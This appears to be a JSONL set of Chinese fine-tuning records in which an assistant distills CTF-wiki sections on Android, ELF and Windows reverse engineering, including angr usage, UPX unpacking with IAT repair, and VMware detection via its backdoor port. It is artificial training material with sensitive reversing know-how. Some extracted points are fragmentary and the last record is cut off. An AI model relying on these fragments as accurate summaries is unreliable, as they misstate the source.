{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-98d8899da8fb297ece64", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「数据移动」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 数据移动\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“数据移动”展开。\n- | | 0b 11x | move-result-wide vAA | A: 目标寄存器对（8 位） | 将函数调用返回值放到VAA寄存器中。\n- | | 0c 11x | move-result-object vAA | A: 目标寄存器（8 位） | 将函数调用返回对象引用VAA寄存器中。\n- | | 0d 11x | move-exception vAA | A: 目标寄存器（8 位） | 将捕获的异常保存到给定寄存器中。\n- | 其中，move系列指令以及move-result 用于处理小于等于 32 位的基本类型。\n- move-wide系列指令和move-result-wide用于处理64位类型，包括long和double类型。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1476, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "数据移动", "heading_path": ["interfaces", "执行语句", "具体指令", "数据移动"], "original_id": "docs-ab03fea3413b8c55d050", "original_line": 53, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "f9395d54b07a36e7fadd6622", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-9bb5bbc4f01db21af24f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/complex-example.md` 中的章节「2017 NJCTF easycrack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/complex-example.md`\n标题：静态分析综合题目\n章节：静态分析综合题目 > 2017 NJCTF easycrack\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2017 NJCTF easycrack”展开。\n- 2. crypt 函数显然就是一个 RC4 加密函数，明显就是 RC4 的加密逻辑。\n- 通过简单逆向，可以发现程序的基本逻辑如下 1. 监控界面文本框，如果文本框内容改变则调用 native parseText 函数。\n- 2. parseText 的主要功能如下 1. 首先调用 java 层的函数 messageMe 获取一个字符串 mestr。\n- 这个函数的逻辑基本是 1. 依次将 packagename 的最后一个 . 后面的字符串的每一个与 51进行异或，将结果拼接起来。\n- 2. 然后以 mestr 长度为周期，将两者进行异或，核心逻辑 str[i + j] = mestr[j] ^ iinput[i + j];\n\n关键术语：\n- Android逆向\n- 密码学\n- AI安全\n- android\n- basic-reverse\n- static\n- complex-example.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 24 行，首行 `from Crypto.Cipher import ARC4`\n- shell: 3 行，首行 `➜ 2017NJCTF-easycrack python exp.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1256, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "reverse", "heading": "2017 NJCTF easycrack", "heading_path": ["静态分析综合题目", "2017 NJCTF easycrack"], "original_id": "docs-dc16ca2d9f7644004127", "original_line": 87, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/complex-example.md", "source_root": "docs", "source_sha256": "d2464a5ec5d39f04d8b188015b88c0db9cd8467f77ba3efe654378e82fecc36f", "split": "train", "split_group_key": "7ba92efc91c27180d1c15d02", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "密码学", "AI安全", "android", "basic-reverse", "static", "complex-example.md", "code:python", "code:shell"], "title": "静态分析综合题目"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/complex-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-9bd92db1c6968fc233fb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/program-loading.md` 中的章节「程序加载」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/program-loading.md`\n标题：程序加载\n章节：程序加载\n路径分类：executable / executable/elf/program-loading.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“程序加载”展开。\n- 数据段的结尾需要好好处理没有被初始化的数据，一般来说，系统要求它们以0开始。\n- 剩下的三个页中的杂质数据在逻辑上说并不是进程镜像的一部分，系统可以选择删除它们。\n- 为了达到这样的效率，可执行文件以及共享目标文件所拥有的段的文件偏移以及虚拟地址必须是合适的，也就是说他们必须是页大小的整数倍。\n- 在 Intel 架构中，虚拟地址以及文件偏移必须是 4KB（或者更大的数且为 2 的整数幂次）的整数倍。\n- 下面是一个可执行文件加载到内存中布局的例子 [图片文件: ./figure/executable_file_example.png] 对应的代码段以及数据段的解释如下 [图片文件: ./figure/program_header_segments.png] 在这个例子中，尽管代码段和数据段在模4KB的意义下相等，但是仍然最多有4个页面包含有不纯的代码或者数据。\n\n关键术语：\n- executable\n- elf\n- program-loading.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 1275, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "程序加载", "heading_path": ["程序加载"], "original_id": "docs-754ef9e9c6091fb5e2b2", "original_line": 442, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/program-loading.md", "source_root": "docs", "source_sha256": "51aa8e62bf53c915c70463a8e8dfd01c16a461b2a79a43cc61de5c3aed1d30ba", "split": "train", "split_group_key": "2558d1222f6f7f41c504a27c", "subcategory": "executable/elf/program-loading.md", "terms": ["executable", "elf", "program-loading.md"], "title": "程序加载"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/program-loading.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-9cbd9c19646d1f5ecbd4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/example.md` 中的章节「检测VMware」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/example.md`\n标题：反调试技术例题\n章节：反调试技术例题 > 检测VMware\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“检测VMware”展开。\n- `` c if ( sub_401240() == 1 ) // 8. 通过vmware的I/O端口进行检测 { printf(\"But detected VMware.\\n\");\n- ` c signed int sub_401240() { unsigned __int32 v0;\n- // eax@1 v0 = __indword(0x5658u);\n- 检测VMware也是检测一些特征. 根据检测的结果进行判断.\n- t like virtual environments\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `来看`sub_401240()`函数.`\n- plain: 2 行，首行 `这是VMware的一个\"后门\"I/O端口, `0x5658 = \"VX\"`. 如果程序在VMware内运行, 程序使用`In`指令通过`0x5658`端口读取数据时, `EBX`寄存器的值就会变为`0x564D5868`(`0x564...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 887, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "检测VMware", "heading_path": ["反调试技术例题", "检测VMware"], "original_id": "docs-2cb6eaa90ba1ef7099ae", "original_line": 1512, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "source_root": "docs", "source_sha256": "5a7151f125d55cfe0319c38e27d1048d38ffec185786c112507c0baa82273cee", "split": "train", "split_group_key": "23b3ea4156907408371eba4e", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "反调试技术例题"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-9d6faf9437ff0e204ba9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「simulation\\_manager - 模拟执行器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：angr > 基本用法 > Project > factory - 实用类工厂 > simulation\\_manager - 模拟执行器\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“simulation\\_manager - 模拟执行器”展开。\n- WARNING | 2023-07-17 04:04:28,825 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing.\n- 此外，我们还可以通过指定 num_find 参数来指定需要寻找的符合条件的状态的数量，若未指定则会在 .found` 列表中存储所有的符合条件的状态。\n- 期望条件通常可以是执行到某个地址： `python >>> simgr.explore(find=0x80492F0) # explore to a specific address WARNING | 2023-07-17 04:04:28,825 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value.\n- simgr.explore() 的默认参数是 find，即期望条件，当模拟执行器在路径探索的过程中发现当前状态满足该条件时，该状态会被放到 simgr.found 列表中，若无法找到则该列表为空。\n- 例如，若是我们想要寻找一条输出指定字符串的路径，可以选择通过判断该字符串是否在输出中的方式，我们可以通过 state.posix.dumps(文件描述符) 来获取对应文件描述符上的字符流： ` >>> def foo(state): ... return b\"Good\" in state.posix.dumps(1) ... >>> simgr.explore(find=foo)  ` 除了 find 参数外，我们也可...\n\n关键术语：\n- AI安全\n- reverse\n- tools\n- simulate-execution\n- angr.md\n- code:python\n\n代码/命令片段线索：\n- python: 4 行，首行 `>>> proj.factory.simgr(state)`\n- python: 9 行，首行 `>>> simgr.explore(find=0x80492F0) # explore to a specific address`\n- plain: 5 行，首行 `>>> def foo(state):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 2350, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "simulation\\_manager - 模拟执行器", "heading_path": ["angr", "基本用法", "Project", "factory - 实用类工厂", "simulation\\_manager - 模拟执行器"], "original_id": "docs-d67ce7af5eec0d0d1e5b", "original_line": 1563, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "bc2aa2a1ef402262cc283f37", "subcategory": "reverse/tools/simulate-execution", "terms": ["AI安全", "reverse", "tools", "simulate-execution", "angr.md", "code:python"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-9dffded224b117aa8b9e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/symbol-resolve.md` 中的章节「endif」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/symbol-resolve.md`\n标题：Symbol Resolution\n章节：endif\n路径分类：executable / executable/elf/linking\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“endif”展开。\n- movq REGISTER_SAVE_R9(%rsp), %r9 movq REGISTER_SAVE_R8(%rsp), %r8 movq REGISTER_SAVE_RDI(%rsp), %rdi movq REGISTER_SAVE_RSI(%rsp), %rsi movq REGISTER_SAVE_RDX(%rsp), %rdx movq REGISTER_SAVE_RCX(%rsp), %rcx movq REGISTER_SAVE_RAX(%rsp), %rax\n\n关键术语：\n- executable\n- elf\n- linking\n- symbol-resolve.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 246, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "endif", "heading_path": ["endif"], "original_id": "docs-380c9727d40788951322", "original_line": 452, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "source_root": "docs", "source_sha256": "af2f538caa3e68f7f0ed6d9fb7f77b950f3a11aa74906c2f7fe420e6d494a691", "split": "train", "split_group_key": "7a75c3e130e2d84caff7dee7", "subcategory": "executable/elf/linking", "terms": ["executable", "elf", "linking", "symbol-resolve.md"], "title": "Symbol Resolution"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-9fd7fc1c5c454d720203", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/manually-fix-iat.md` 中的章节「手动查找 IAT 并使用 ImportREC 重建」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/manually-fix-iat.md`\n标题：手动查找 IAT 并使用 ImportREC 重建\n章节：手动查找 IAT 并使用 ImportREC 重建\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“手动查找 IAT 并使用 ImportREC 重建”展开。\n- 文件: ./figure/manually_fix_iat/upx-dll-unpack-11.png] dump完成后, 选择转储到文件, 这里选择修复我们刚刚dump出的dump.exe, 得到一个dump\\_.exe. 这时整个脱壳就完成了\n- 示例程序可以从此链接下载: manually_fix_iat.zip 我们常用的ImportREC脱壳是使用的软件自带的IAT auto search, 但是如果我们要手动查找IAT的地址并dump出来, 又该怎么操作呢？\n- 文件: ./figure/manually_fix_iat/upx-dll-unpack-6.png] 这里因为显示是十六进制值, 不方便查看, 我们可以在数据窗口点击右键选择长型->地址, 就可以显示函数名 [图片: 7.png;\n- 文件: ./figure/manually_fix_iat/upx-dll-unpack-7.png] 注意我们要向上翻到IAT表的起始位置, 可以看到最开始的函数地址是004050D8的kernel.AddAtomA, 我们向下找到最后一个函数, 也就是user32.MessageBoxA函数, 计算一下整个IAT表的大小。\n- 首先使用ESP定律, 可以很快地跳转到OEP: 00401110.\n\n关键术语：\n- 修复/缓解\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1535, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "手动查找 IAT 并使用 ImportREC 重建", "heading_path": ["手动查找 IAT 并使用 ImportREC 重建"], "original_id": "docs-505549ddf5a929d1d712", "original_line": 83, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/manually-fix-iat.md", "source_root": "docs", "source_sha256": "604f6133d3d29e96f4153b72965c9948aedc388ef3d90d3df32da825896fa637", "split": "train", "split_group_key": "3774aade321231d02650b736", "subcategory": "reverse/platform/windows", "terms": ["修复/缓解", "reverse", "platform", "windows", "unpack"], "title": "手动查找 IAT 并使用 ImportREC 重建"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/manually-fix-iat.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-a0133123d245ed2c8269", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「寄存器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：Smali > 声明语句 > 寄存器\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 目前，Dalvik 使用的寄存器都是 32 位，对于 64 位类型的变量，如 double 类型，它会使用两个相邻的 32 位寄存器来表示。\n- 在 Smali 中，registers_size（通常写作指令 .registers）用于声明当前方法所需的寄存器总数。\n- Dalvik 虚拟机在调用该方法时，会根据这个数值为该方法分配对应的栈空间。\n- 最大数量是 65535，一个 code_item 的 registers_size 最大可表示 65535 个寄存器，即索引 v0..v65534。\n- registers_size 是 16 位无符号“数量”。\n\n关键术语：\n- 栈\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 281, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "寄存器", "heading_path": ["Smali", "声明语句", "寄存器"], "original_id": "docs-d6456f0f5d6606d94ef2", "original_line": 40, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "3c019021ee30c5aded2d4666", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["栈", "Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-a15c530c3c13af611d7b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/so-example.md` 中的章节「分析主活动」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/so-example.md`\n标题：静态分析原生层程序\n章节：静态分析原生层程序 > 原生层静态分析例子 > 2015-海峡两岸-一个APK，逆向试试吧 > 分析主活动\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析主活动”展开。\n- 不难看出，程序的基本情况就是利用 native 函数 testFlag 判断用户传入的 pwdEditText 是否满足要求。\n- ``java public native boolean testFlag(String str);\n- static { System.loadLibrary(\"mobicrackNDK\");\n- } protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState);\n- setContentView((int) R.layout.activity_crack_me);\n\n关键术语：\n- Android逆向\n- 漏洞利用\n- android\n- basic-reverse\n- static\n- so-example.md\n- code:java\n\n代码/命令片段线索：\n- java: 23 行，首行 `public native boolean testFlag(String str);`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 825, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "reverse", "heading": "分析主活动", "heading_path": ["静态分析原生层程序", "原生层静态分析例子", "2015-海峡两岸-一个APK，逆向试试吧", "分析主活动"], "original_id": "docs-8884e61c9d1ae262ba46", "original_line": 5, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/so-example.md", "source_root": "docs", "source_sha256": "fb270de07d8aea7ae9a3d64f3300458f9af935fc74f897f3fce7bd898e380416", "split": "train", "split_group_key": "70b7d009a803e89a62ae83a9", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "漏洞利用", "android", "basic-reverse", "static", "so-example.md", "code:java"], "title": "静态分析原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/so-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-a33b7a306d4f0a99a449", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/dex/dex.md` 中的章节「string id」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/dex/dex.md`\n标题：DEX文件\n章节：DEX文件 > DEX 文件格式 > DEX 索引区 > string id\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“string id”展开。\n- `` 可以看出DexStringId中存储的只是每一个字符串的相对偏移。\n- StringIds 区段包含stringIdsSize个DexStringId结构，其结构如下： ``c++ struct DexStringId { u4 stringDataOff;\n- 此外，每一个偏移占据4个字节，字符串部分一共会占据4*stringIdsSize个字节。\n- 在对应的偏移处，字符串是使用MUTF-8格式存储的，其开头存储了之前我们所说的LEB128类型的变量，表示字符串的长度，之后紧跟着的就是字符串，之后以\\x00结尾，字符串的长度不包含\\x00。\n- / 字符串数据偏移，也就是数据区中各个 StringData 的文件偏移/ };\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- dex\n- code:c++\n\n代码/命令片段线索：\n- c++: 3 行，首行 `struct DexStringId {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 324, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "string id", "heading_path": ["DEX文件", "DEX 文件格式", "DEX 索引区", "string id"], "original_id": "docs-da8df0bb961eefd0009b", "original_line": 31, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "source_root": "docs", "source_sha256": "02e4e7a9ad1994a3eb6f19cb46b69151a53fab27ed230dc7be1d864947ae6323", "split": "train", "split_group_key": "3ab376e3a8740860a4e914d5", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "dex", "code:c++"], "title": "DEX文件"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-a3d8736940fc195655c2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/symbol-table.md` 中的章节「st_shndx」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/symbol-table.md`\n标题：.symtab: Symbol Table\n章节：.symtab: Symbol Table > st_shndx\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“st_shndx”展开。\n- 特殊的索引及其意义如下 - SHN_ABS： 符号的取值具有绝对性，不会因为重定位而发生变化。\n- 当链接编辑器将此目标文件与其他定义了该符号的目标文件进行组合时，此文件中对该符号的引用将被链接到实际定义的位置。\n- SHN_COMMON： 符号标记了一个尚未分配的公共块。\n- 符号的取值给出了对齐约束，与节区的 sh_addralign 成员类似。\n- 就是说，链接编辑器将在地址位于 st_value 的倍数处为符号分配空间。\n\n关键术语：\n- executable\n- elf\n- structure\n- symbol-table.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 251, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "st_shndx", "heading_path": [".symtab: Symbol Table", "st_shndx"], "original_id": "docs-c70b6bdfaf06328aba0b", "original_line": 25, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/symbol-table.md", "source_root": "docs", "source_sha256": "56c62270fa50835f2a86e5d488beca1590d3bcbe520738020641a39ef2fc28d2", "split": "train", "split_group_key": "ac987c9ab42073cc653e492c", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "symbol-table.md"], "title": ".symtab: Symbol Table"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/symbol-table.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-a5cb18a580546911e7b1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/dynamic/ida_native_debug.md` 中的章节「确定原生函数地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/dynamic/ida_native_debug.md`\n标题：IDA 动态调试原生层程序\n章节：在PC的xxx端口与手机的相应端口之间建立连接，方便通信 > 确定原生函数地址\n路径分类：android / android/basic_reverse/dynamic\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定原生函数地址”展开。\n- 这里我们再次打开一个 ida，导入该 apk 的 so 库，然后在 export 中寻找我们的函数，如下 [图片文件: ./figure/debug_attach_jnistring.png] 可以看出其偏移为 0xc38。\n- 然后根据 `text 绝对地址=基地址+相对偏移 `` 得到 jnistring 的地址。\n\n关键术语：\n- Android逆向\n- 漏洞利用\n- android\n- 